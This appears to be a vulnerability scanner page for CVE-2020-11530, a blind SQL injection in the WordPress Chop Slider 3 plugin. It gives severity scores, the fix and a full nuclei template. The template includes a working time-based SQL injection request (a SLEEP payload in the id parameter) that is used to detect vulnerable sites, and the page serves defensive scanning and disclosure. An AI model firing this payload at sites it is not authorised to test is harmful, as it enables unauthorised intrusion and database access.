WordPress Chop Slider 3 - Blind SQL Injection

criticalseverity

9.8CVSS score

95.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

WordPress Chop Slider 3 plugin contains a blind SQL injection vulnerability via the id GET parameter supplied to get_script/index.php. The plugin can allow an attacker to execute arbitrary SQL queries in the context of the WP database user, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Update to the latest version of the WordPress Chop Slider 3 plugin to mitigate the vulnerability.

How to confirm it

Send: @timeout 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/javascript") and contains(body, "$(document).ready(function()")

Run it with nuclei: nuclei -id CVE-2020-11530 -u <target>

The full check

id: CVE-2020-11530

info:
  name: WordPress Chop Slider 3 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Chop Slider 3 plugin contains a blind SQL injection vulnerability via the id GET parameter supplied to get_script/index.php. The plugin can allow an attacker to execute arbitrary SQL queries in the context of the WP database user, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Update to the latest version of the WordPress Chop Slider 3 plugin to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f10cd7d7-6a31-48e5-994c-b100c846001a
    - https://github.com/idangerous/plugins/tree/master/Chop%20Slider%203/Chop%20Slider%203%20Wordpress
    - https://idangero.us/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11530
    - http://seclists.org/fulldisclosure/2020/May/26
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11530
    cwe-id: CWE-89
    epss-score: 0.95414
    epss-percentile: 0.99868
    cpe: cpe:2.3:a:idangero:chop_slider:3.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idangero
    product: chop_slider
    framework: wordpress
  tags: time-based-sqli,cve,cve2020,wpscan,seclists,sqli,wordpress,wp-plugin,wp,chopslider,unauth,idangero,vkev,vuln

http:
  - raw:
      - |
        @timeout 10s
        GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/javascript")'
          - 'contains(body, "$(document).ready(function()")'
        condition: and

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